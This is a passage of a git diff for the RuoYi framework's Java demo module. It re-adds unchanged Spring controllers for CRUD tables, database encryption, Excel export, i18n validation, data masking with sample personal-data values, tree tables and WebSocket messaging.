使用校验工具对标 @Validated(AddGroup.class) 注解 + // 用于在非 Controller 的地方校验对象 + ValidatorUtils.validate(bo, AddGroup.class); + return toAjax(testDemoService.insertByBo(bo)); + } + + /** + * 修改测试单表 + */ + @SaCheckPermission("demo:demo:edit") + @Log(title = "测试单表", businessType = BusinessType.UPDATE) + @RepeatSubmit + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TestDemoBo bo) { + return toAjax(testDemoService.updateByBo(bo)); + } + + /** + * 删除测试单表 + * + * @param ids 测试ID串 + */ + @SaCheckPermission("demo:demo:remove") + @Log(title = "测试单表", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(testDemoService.deleteWithValidByIds(Arrays.asList(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestEncryptController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestEncryptController.java index 2b6886d..bd2d423 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestEncryptController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestEncryptController.java @@ -1,55 +1,55 @@ -package org.dromara.demo.controller; - -import org.dromara.common.core.domain.R; -import org.dromara.demo.domain.TestDemoEncrypt; -import org.dromara.demo.mapper.TestDemoEncryptMapper; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.util.HashMap; -import java.util.Map; - - -/** - * 测试数据库加解密功能 - * - * @author Lion Li - */ -@Validated -@RestController -@RequestMapping("/demo/encrypt") -public class TestEncryptController { - - @Autowired - private TestDemoEncryptMapper mapper; - @Value("${mybatis-encryptor.enable}") - private Boolean encryptEnable; - - /** - * 测试数据库加解密 - * - * @param key 测试key - * @param value 测试value - */ - @GetMapping() - public R> test(String key, String value) { - if (!encryptEnable) { - throw new RuntimeException("加密功能未开启!"); - } - Map map = new HashMap<>(2); - TestDemoEncrypt demo = new TestDemoEncrypt(); - demo.setTestKey(key); - demo.setValue(value); - mapper.insert(demo); - map.put("加密", demo); - TestDemoEncrypt testDemo = mapper.selectById(demo.getId()); - map.put("解密", testDemo); - return R.ok(map); - } - - -} +package org.dromara.demo.controller; + +import org.dromara.common.core.domain.R; +import org.dromara.demo.domain.TestDemoEncrypt; +import org.dromara.demo.mapper.TestDemoEncryptMapper; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.HashMap; +import java.util.Map; + + +/** + * 测试数据库加解密功能 + * + * @author Lion Li + */ +@Validated +@RestController +@RequestMapping("/demo/encrypt") +public class TestEncryptController { + + @Autowired + private TestDemoEncryptMapper mapper; + @Value("${mybatis-encryptor.enable}") + private Boolean encryptEnable; + + /** + * 测试数据库加解密 + * + * @param key 测试key + * @param value 测试value + */ + @GetMapping() + public R> test(String key, String value) { + if (!encryptEnable) { + throw new RuntimeException("加密功能未开启!"); + } + Map map = new HashMap<>(2); + TestDemoEncrypt demo = new TestDemoEncrypt(); + demo.setTestKey(key); + demo.setValue(value); + mapper.insert(demo); + map.put("加密", demo); + TestDemoEncrypt testDemo = mapper.selectById(demo.getId()); + map.put("解密", testDemo); + return R.ok(map); + } + + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestExcelController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestExcelController.java index 3fd124c..58e6d76 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestExcelController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestExcelController.java @@ -1,160 +1,160 @@ -package org.dromara.demo.controller; - -import cn.hutool.core.collection.CollUtil; -import jakarta.servlet.http.HttpServletResponse; -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.RequiredArgsConstructor; -import org.dromara.common.excel.core.ExcelResult; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.demo.domain.vo.ExportDemoVo; -import org.dromara.demo.listener.ExportDemoListener; -import org.dromara.demo.service.IExportExcelService; -import org.springframework.http.MediaType; -import org.springframework.web.bind.annotation.*; -import org.springframework.web.multipart.MultipartFile; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 测试Excel功能 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/excel") -public class TestExcelController { - - private final IExportExcelService exportExcelService; - - /** - * 单列表多数据 - */ - @GetMapping("/exportTemplateOne") - public void exportTemplateOne(HttpServletResponse response) { - Map map = new HashMap<>(); - map.put("title", "单列表多数据"); - map.put("test1", "数据测试1"); - map.put("test2", "数据测试2"); - map.put("test3", "数据测试3"); - map.put("test4", "数据测试4"); - map.put("testTest", "666"); - List list = new ArrayList<>(); - list.add(new TestObj("单列表测试1", "列表测试1", "列表测试2", "列表测试3", "列表测试4")); - list.add(new TestObj("单列表测试2", "列表测试5", "列表测试6", "列表测试7", "列表测试8")); - list.add(new TestObj("单列表测试3", "列表测试9", "列表测试10", "列表测试11", "列表测试12")); - ExcelUtil.exportTemplate(CollUtil.newArrayList(map, list), "单列表.xlsx", "excel/单列表.xlsx", response); - } - - /** - * 多列表多数据 - */ - @GetMapping("/exportTemplateMuliti") - public void exportTemplateMuliti(HttpServletResponse response) { - Map map = new HashMap<>(); - map.put("title1", "标题1"); - map.put("title2", "标题2"); - map.put("title3", "标题3"); - map.put("title4", "标题4"); - map.put("author", "Lion Li"); - List list1 = new ArrayList<>(); - list1.add(new TestObj1("list1测试1", "list1测试2", "list1测试3")); - list1.add(new TestObj1("list1测试4", "list1测试5", "list1测试6")); - list1.add(new TestObj1("list1测试7", "list1测试8", "list1测试9")); - List list2 = new ArrayList<>(); - list2.add(new TestObj1("list2测试1", "list2测试2", "list2测试3")); - list2.add(new TestObj1("list2测试4", "list2测试5", "list2测试6")); - List list3 = new ArrayList<>(); - list3.add(new TestObj1("list3测试1", "list3测试2", "list3测试3")); - List list4 = new ArrayList<>(); - list4.add(new TestObj1("list4测试1", "list4测试2", "list4测试3")); - list4.add(new TestObj1("list4测试4", "list4测试5", "list4测试6")); - list4.add(new TestObj1("list4测试7", "list4测试8", "list4测试9")); - list4.add(new TestObj1("list4测试10", "list4测试11", "list4测试12")); - Map multiListMap = new HashMap<>(); - multiListMap.put("map", map); - multiListMap.put("data1", list1); - multiListMap.put("data2", list2); - multiListMap.put("data3", list3); - multiListMap.put("data4", list4); - ExcelUtil.exportTemplateMultiList(multiListMap, "多列表.xlsx", "excel/多列表.xlsx", response); - } - - /** - * 导出下拉框 - * - * @param response / - */ - @GetMapping("/exportWithOptions") - public void exportWithOptions(HttpServletResponse response) { - exportExcelService.exportWithOptions(response); - } - - /** - * 多个sheet导出 - */ - @GetMapping("/exportTemplateMultiSheet") - public void exportTemplateMultiSheet(HttpServletResponse response) { - List list1 = new ArrayList<>(); - list1.add(new TestObj1("list1测试1", "list1测试2", "list1测试3")); - list1.add(new TestObj1("list1测试4", "list1测试5", "list1测试6")); - List list2 = new ArrayList<>(); - list2.add(new TestObj1("list2测试1", "list2测试2", "list2测试3")); - list2.add(new TestObj1("list2测试4", "list2测试5", "list2测试6")); - List list3 = new ArrayList<>(); - list3.add(new TestObj1("list3测试1", "list3测试2", "list3测试3")); - list3.add(new TestObj1("list3测试4", "list3测试5", "list3测试6")); - List list4 = new ArrayList<>(); - list4.add(new TestObj1("list4测试1", "list4测试2", "list4测试3")); - list4.add(new TestObj1("list4测试4", "list4测试5", "list4测试6")); - - List> list = new ArrayList<>(); - Map sheetMap1 = new HashMap<>(); - sheetMap1.put("data1", list1); - Map sheetMap2 = new HashMap<>(); - sheetMap2.put("data2", list2); - Map sheetMap3 = new HashMap<>(); - sheetMap3.put("data3", list3); - Map sheetMap4 = new HashMap<>(); - sheetMap4.put("data4", list4); - - list.add(sheetMap1); - list.add(sheetMap2); - list.add(sheetMap3); - list.add(sheetMap4); - ExcelUtil.exportTemplateMultiSheet(list, "多sheet列表", "excel/多sheet列表.xlsx", response); - } - - /** - * 导入表格 - */ - @PostMapping(value = "/importWithOptions", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) - public List importWithOptions(@RequestPart("file") MultipartFile file) throws Exception { - // 处理解析结果 - ExcelResult excelResult = ExcelUtil.importExcel(file.getInputStream(), ExportDemoVo.class, new ExportDemoListener()); - return excelResult.getList(); - } - - @Data - @AllArgsConstructor - static class TestObj1 { - private String test1; - private String test2; - private String test3; - } - - @Data - @AllArgsConstructor - static class TestObj { - private String name; - private String list1; - private String list2; - private String list3; - private String list4; - } - -} +package org.dromara.demo.controller; + +import cn.hutool.core.collection.CollUtil; +import jakarta.servlet.http.HttpServletResponse; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.RequiredArgsConstructor; +import org.dromara.common.excel.core.ExcelResult; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.demo.domain.vo.ExportDemoVo; +import org.dromara.demo.listener.ExportDemoListener; +import org.dromara.demo.service.IExportExcelService; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * 测试Excel功能 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/excel") +public class TestExcelController { + + private final IExportExcelService exportExcelService; + + /** + * 单列表多数据 + */ + @GetMapping("/exportTemplateOne") + public void exportTemplateOne(HttpServletResponse response) { + Map map = new HashMap<>(); + map.put("title", "单列表多数据"); + map.put("test1", "数据测试1"); + map.put("test2", "数据测试2"); + map.put("test3", "数据测试3"); + map.put("test4", "数据测试4"); + map.put("testTest", "666"); + List list = new ArrayList<>(); + list.add(new TestObj("单列表测试1", "列表测试1", "列表测试2", "列表测试3", "列表测试4")); + list.add(new TestObj("单列表测试2", "列表测试5", "列表测试6", "列表测试7", "列表测试8")); + list.add(new TestObj("单列表测试3", "列表测试9", "列表测试10", "列表测试11", "列表测试12")); + ExcelUtil.exportTemplate(CollUtil.newArrayList(map, list), "单列表.xlsx", "excel/单列表.xlsx", response); + } + + /** + * 多列表多数据 + */ + @GetMapping("/exportTemplateMuliti") + public void exportTemplateMuliti(HttpServletResponse response) { + Map map = new HashMap<>(); + map.put("title1", "标题1"); + map.put("title2", "标题2"); + map.put("title3", "标题3"); + map.put("title4", "标题4"); + map.put("author", "Lion Li"); + List list1 = new ArrayList<>(); + list1.add(new TestObj1("list1测试1", "list1测试2", "list1测试3")); + list1.add(new TestObj1("list1测试4", "list1测试5", "list1测试6")); + list1.add(new TestObj1("list1测试7", "list1测试8", "list1测试9")); + List list2 = new ArrayList<>(); + list2.add(new TestObj1("list2测试1", "list2测试2", "list2测试3")); + list2.add(new TestObj1("list2测试4", "list2测试5", "list2测试6")); + List list3 = new ArrayList<>(); + list3.add(new TestObj1("list3测试1", "list3测试2", "list3测试3")); + List list4 = new ArrayList<>(); + list4.add(new TestObj1("list4测试1", "list4测试2", "list4测试3")); + list4.add(new TestObj1("list4测试4", "list4测试5", "list4测试6")); + list4.add(new TestObj1("list4测试7", "list4测试8", "list4测试9")); + list4.add(new TestObj1("list4测试10", "list4测试11", "list4测试12")); + Map multiListMap = new HashMap<>(); + multiListMap.put("map", map); + multiListMap.put("data1", list1); + multiListMap.put("data2", list2); + multiListMap.put("data3", list3); + multiListMap.put("data4", list4); + ExcelUtil.exportTemplateMultiList(multiListMap, "多列表.xlsx", "excel/多列表.xlsx", response); + } + + /** + * 导出下拉框 + * + * @param response / + */ + @GetMapping("/exportWithOptions") + public void exportWithOptions(HttpServletResponse response) { + exportExcelService.exportWithOptions(response); + } + + /** + * 多个sheet导出 + */ + @GetMapping("/exportTemplateMultiSheet") + public void exportTemplateMultiSheet(HttpServletResponse response) { + List list1 = new ArrayList<>(); + list1.add(new TestObj1("list1测试1", "list1测试2", "list1测试3")); + list1.add(new TestObj1("list1测试4", "list1测试5", "list1测试6")); + List list2 = new ArrayList<>(); + list2.add(new TestObj1("list2测试1", "list2测试2", "list2测试3")); + list2.add(new TestObj1("list2测试4", "list2测试5", "list2测试6")); + List list3 = new ArrayList<>(); + list3.add(new TestObj1("list3测试1", "list3测试2", "list3测试3")); + list3.add(new TestObj1("list3测试4", "list3测试5", "list3测试6")); + List list4 = new ArrayList<>(); + list4.add(new TestObj1("list4测试1", "list4测试2", "list4测试3")); + list4.add(new TestObj1("list4测试4", "list4测试5", "list4测试6")); + + List> list = new ArrayList<>(); + Map sheetMap1 = new HashMap<>(); + sheetMap1.put("data1", list1); + Map sheetMap2 = new HashMap<>(); + sheetMap2.put("data2", list2); + Map sheetMap3 = new HashMap<>(); + sheetMap3.put("data3", list3); + Map sheetMap4 = new HashMap<>(); + sheetMap4.put("data4", list4); + + list.add(sheetMap1); + list.add(sheetMap2); + list.add(sheetMap3); + list.add(sheetMap4); + ExcelUtil.exportTemplateMultiSheet(list, "多sheet列表", "excel/多sheet列表.xlsx", response); + } + + /** + * 导入表格 + */ + @PostMapping(value = "/importWithOptions", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) + public List importWithOptions(@RequestPart("file") MultipartFile file) throws Exception { + // 处理解析结果 + ExcelResult excelResult = ExcelUtil.importExcel(file.getInputStream(), ExportDemoVo.class, new ExportDemoListener()); + return excelResult.getList(); + } + + @Data + @AllArgsConstructor + static class TestObj1 { + private String test1; + private String test2; + private String test3; + } + + @Data + @AllArgsConstructor + static class TestObj { + private String name; + private String list1; + private String list2; + private String list3; + private String list4; + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestI18nController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestI18nController.java index 9339ac9..b1980db 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestI18nController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestI18nController.java @@ -1,70 +1,70 @@ -package org.dromara.demo.controller; - -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.MessageUtils; -import org.hibernate.validator.constraints.Range; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - - -/** - * 测试国际化 - * - * @author Lion Li - */ -@Validated -@RestController -@RequestMapping("/demo/i18n") -public class TestI18nController { - - /** - * 通过code获取国际化内容 - * code为 messages.properties 中的 key - *

- * 测试使用 user.register.success - * - * @param code 国际化code - */ - @GetMapping() - public R get(String code) { - return R.ok(MessageUtils.message(code)); - } - - /** - * Validator 校验国际化 - * 不传值 分别查看异常返回 - *

- * 测试使用 not.null - */ - @GetMapping("/test1") - public R test1(@NotBlank(message = "{not.null}") String str) { - return R.ok(str); - } - - /** - * Bean 校验国际化 - * 不传值 分别查看异常返回 - *

- * 测试使用 not.null - */ - @GetMapping("/test2") - public R test2(@Validated TestI18nBo bo) { - return R.ok(bo); - } - - @Data - public static class TestI18nBo { - - @NotBlank(message = "{not.null}") - private String name; - - @NotNull(message = "{not.null}") - @Range(min = 0, max = 100, message = "{length.not.valid}") - private Integer age; - } -} +package org.dromara.demo.controller; + +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.MessageUtils; +import org.hibernate.validator.constraints.Range; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + + +/** + * 测试国际化 + * + * @author Lion Li + */ +@Validated +@RestController +@RequestMapping("/demo/i18n") +public class TestI18nController { + + /** + * 通过code获取国际化内容 + * code为 messages.properties 中的 key + *

+ * 测试使用 user.register.success + * + * @param code 国际化code + */ + @GetMapping() + public R get(String code) { + return R.ok(MessageUtils.message(code)); + } + + /** + * Validator 校验国际化 + * 不传值 分别查看异常返回 + *

+ * 测试使用 not.null + */ + @GetMapping("/test1") + public R test1(@NotBlank(message = "{not.null}") String str) { + return R.ok(str); + } + + /** + * Bean 校验国际化 + * 不传值 分别查看异常返回 + *

+ * 测试使用 not.null + */ + @GetMapping("/test2") + public R test2(@Validated TestI18nBo bo) { + return R.ok(bo); + } + + @Data + public static class TestI18nBo { + + @NotBlank(message = "{not.null}") + private String name; + + @NotNull(message = "{not.null}") + @Range(min = 0, max = 100, message = "{length.not.valid}") + private Integer age; + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestSensitiveController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestSensitiveController.java index 6533370..61e8939 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestSensitiveController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestSensitiveController.java @@ -1,76 +1,76 @@ -package org.dromara.demo.controller; - -import lombok.Data; -import org.dromara.common.core.domain.R; -import org.dromara.common.sensitive.annotation.Sensitive; -import org.dromara.common.sensitive.core.SensitiveService; -import org.dromara.common.sensitive.core.SensitiveStrategy; -import org.dromara.common.web.core.BaseController; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -/** - * 测试数据脱敏控制器 - *

- * 默认管理员不过滤 - * 需自行根据业务重写实现 - * - * @author Lion Li - * @version 3.6.0 - * @see SensitiveService - */ -@RestController -@RequestMapping("/demo/sensitive") -public class TestSensitiveController extends BaseController { - - /** - * 测试数据脱敏 - */ - @GetMapping("/test") - public R test() { - TestSensitive testSensitive = new TestSensitive(); - testSensitive.setIdCard("210397198608215431"); - testSensitive.setPhone("17640125371"); - testSensitive.setAddress("北京市朝阳区某某四合院1203室"); - testSensitive.setEmail("17640125371@163.com"); - testSensitive.setBankCard("6226456952351452853"); - return R.ok(testSensitive); - } - - @Data - static class TestSensitive { - - /** - * 身份证 - */ - @Sensitive(strategy = SensitiveStrategy.ID_CARD) - private String idCard; - - /** - * 电话 - */ - @Sensitive(strategy = SensitiveStrategy.PHONE, roleKey = "common") - private String phone; - - /** - * 地址 - */ - @Sensitive(strategy = SensitiveStrategy.ADDRESS, perms = "system:user:query") - private String address; - - /** - * 邮箱 - */ - @Sensitive(strategy = SensitiveStrategy.EMAIL, roleKey = "common", perms = "system:user:query1") - private String email; - - /** - * 银行卡 - */ - @Sensitive(strategy = SensitiveStrategy.BANK_CARD, roleKey = "common1", perms = "system:user:query") - private String bankCard; - - } - -} +package org.dromara.demo.controller; + +import lombok.Data; +import org.dromara.common.core.domain.R; +import org.dromara.common.sensitive.annotation.Sensitive; +import org.dromara.common.sensitive.core.SensitiveService; +import org.dromara.common.sensitive.core.SensitiveStrategy; +import org.dromara.common.web.core.BaseController; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * 测试数据脱敏控制器 + *

+ * 默认管理员不过滤 + * 需自行根据业务重写实现 + * + * @author Lion Li + * @version 3.6.0 + * @see SensitiveService + */ +@RestController +@RequestMapping("/demo/sensitive") +public class TestSensitiveController extends BaseController { + + /** + * 测试数据脱敏 + */ + @GetMapping("/test") + public R test() { + TestSensitive testSensitive = new TestSensitive(); + testSensitive.setIdCard("210397198608215431"); + testSensitive.setPhone("17640125371"); + testSensitive.setAddress("北京市朝阳区某某四合院1203室"); + testSensitive.setEmail("17640125371@163.com"); + testSensitive.setBankCard("6226456952351452853"); + return R.ok(testSensitive); + } + + @Data + static class TestSensitive { + + /** + * 身份证 + */ + @Sensitive(strategy = SensitiveStrategy.ID_CARD) + private String idCard; + + /** + * 电话 + */ + @Sensitive(strategy = SensitiveStrategy.PHONE, roleKey = "common") + private String phone; + + /** + * 地址 + */ + @Sensitive(strategy = SensitiveStrategy.ADDRESS, perms = "system:user:query") + private String address; + + /** + * 邮箱 + */ + @Sensitive(strategy = SensitiveStrategy.EMAIL, roleKey = "common", perms = "system:user:query1") + private String email; + + /** + * 银行卡 + */ + @Sensitive(strategy = SensitiveStrategy.BANK_CARD, roleKey = "common1", perms = "system:user:query") + private String bankCard; + + } + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestTreeController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestTreeController.java index 1249d59..a5bac47 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestTreeController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/TestTreeController.java @@ -1,107 +1,107 @@ -package org.dromara.demo.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.core.validate.QueryGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.web.core.BaseController; -import org.dromara.demo.domain.bo.TestTreeBo; -import org.dromara.demo.domain.vo.TestTreeVo; -import org.dromara.demo.service.ITestTreeService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.Arrays; -import java.util.List; - -/** - * 测试树表Controller - * - * @author Lion Li - * @date 2021-07-26 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/tree") -public class TestTreeController extends BaseController { - - private final ITestTreeService testTreeService; - - /** - * 查询测试树表列表 - */ - @SaCheckPermission("demo:tree:list") - @GetMapping("/list") - public R> list(@Validated(QueryGroup.class) TestTreeBo bo) { - List list = testTreeService.queryList(bo); - return R.ok(list); - } - - /** - * 导出测试树表列表 - */ - @SaCheckPermission("demo:tree:export") - @Log(title = "测试树表", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public void export(@Validated TestTreeBo bo, HttpServletResponse response) { - List list = testTreeService.queryList(bo); - ExcelUtil.exportExcel(list, "测试树表", TestTreeVo.class, response); - } - - /** - * 获取测试树表详细信息 - * - * @param id 测试树ID - */ - @SaCheckPermission("demo:tree:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable("id") Long id) { - return R.ok(testTreeService.queryById(id)); - } - - /** - * 新增测试树表 - */ - @SaCheckPermission("demo:tree:add") - @Log(title = "测试树表", businessType = BusinessType.INSERT) - @RepeatSubmit - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TestTreeBo bo) { - return toAjax(testTreeService.insertByBo(bo)); - } - - /** - * 修改测试树表 - */ - @SaCheckPermission("demo:tree:edit") - @Log(title = "测试树表", businessType = BusinessType.UPDATE) - @RepeatSubmit - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TestTreeBo bo) { - return toAjax(testTreeService.updateByBo(bo)); - } - - /** - * 删除测试树表 - * - * @param ids 测试树ID串 - */ - @SaCheckPermission("demo:tree:remove") - @Log(title = "测试树表", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(testTreeService.deleteWithValidByIds(Arrays.asList(ids), true)); - } -} +package org.dromara.demo.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.core.validate.QueryGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.web.core.BaseController; +import org.dromara.demo.domain.bo.TestTreeBo; +import org.dromara.demo.domain.vo.TestTreeVo; +import org.dromara.demo.service.ITestTreeService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.Arrays; +import java.util.List; + +/** + * 测试树表Controller + * + * @author Lion Li + * @date 2021-07-26 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/tree") +public class TestTreeController extends BaseController { + + private final ITestTreeService testTreeService; + + /** + * 查询测试树表列表 + */ + @SaCheckPermission("demo:tree:list") + @GetMapping("/list") + public R> list(@Validated(QueryGroup.class) TestTreeBo bo) { + List list = testTreeService.queryList(bo); + return R.ok(list); + } + + /** + * 导出测试树表列表 + */ + @SaCheckPermission("demo:tree:export") + @Log(title = "测试树表", businessType = BusinessType.EXPORT) + @GetMapping("/export") + public void export(@Validated TestTreeBo bo, HttpServletResponse response) { + List list = testTreeService.queryList(bo); + ExcelUtil.exportExcel(list, "测试树表", TestTreeVo.class, response); + } + + /** + * 获取测试树表详细信息 + * + * @param id 测试树ID + */ + @SaCheckPermission("demo:tree:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable("id") Long id) { + return R.ok(testTreeService.queryById(id)); + } + + /** + * 新增测试树表 + */ + @SaCheckPermission("demo:tree:add") + @Log(title = "测试树表", businessType = BusinessType.INSERT) + @RepeatSubmit + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TestTreeBo bo) { + return toAjax(testTreeService.insertByBo(bo)); + } + + /** + * 修改测试树表 + */ + @SaCheckPermission("demo:tree:edit") + @Log(title = "测试树表", businessType = BusinessType.UPDATE) + @RepeatSubmit + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TestTreeBo bo) { + return toAjax(testTreeService.updateByBo(bo)); + } + + /** + * 删除测试树表 + * + * @param ids 测试树ID串 + */ + @SaCheckPermission("demo:tree:remove") + @Log(title = "测试树表", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(testTreeService.deleteWithValidByIds(Arrays.asList(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/WeSocketController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/WeSocketController.java index cb5277a..198d8dc 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/WeSocketController.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/WeSocketController.java @@ -1,33 +1,33 @@ -package org.dromara.demo.controller; - -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.common.websocket.dto.WebSocketMessageDto; -import org.dromara.common.websocket.utils.WebSocketUtils; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -/** - * WebSocket 演示案例 - * - * @author zendwang - */ -@RequiredArgsConstructor -@RestController -@RequestMapping("/demo/websocket") -@Slf4j -public class WeSocketController { - - /** - * 发布消息 - * - * @param dto 发送内容 - */ - @GetMapping("/send") - public R send(WebSocketMessageDto dto) throws InterruptedException { - WebSocketUtils.publishMessage(dto); - return R.ok("操作成功"); - } -} +package org.dromara.demo.controller; + +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.common.websocket.dto.WebSocketMessageDto; +import org.dromara.common.websocket.utils.WebSocketUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * WebSocket 演示案例 + * + * @author zendwang + */ +@RequiredArgsConstructor +@RestController +@RequestMapping("/demo/websocket") +@Slf4j +public class WeSocketController { + + /** + * 发布消息 + * + * @param dto 发送内容 + */ + @GetMapping("/send") + public R send(WebSocketMessageDto dto) throws InterruptedException { + WebSocketUtils.publishMessage(dto); + return R.ok("操作成功"); + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/package-info.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/package-info.java index 16c30f8..cf7f934 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/package-info.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/package-info.java @@ -1 +1 @@ -package org.dromara.demo.controller; +package org.dromara.demo.controller; diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/BoundedQueueController.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/controller/queue/BoundedQueueController.java index dd15856..4c7f6fc 100644 --- 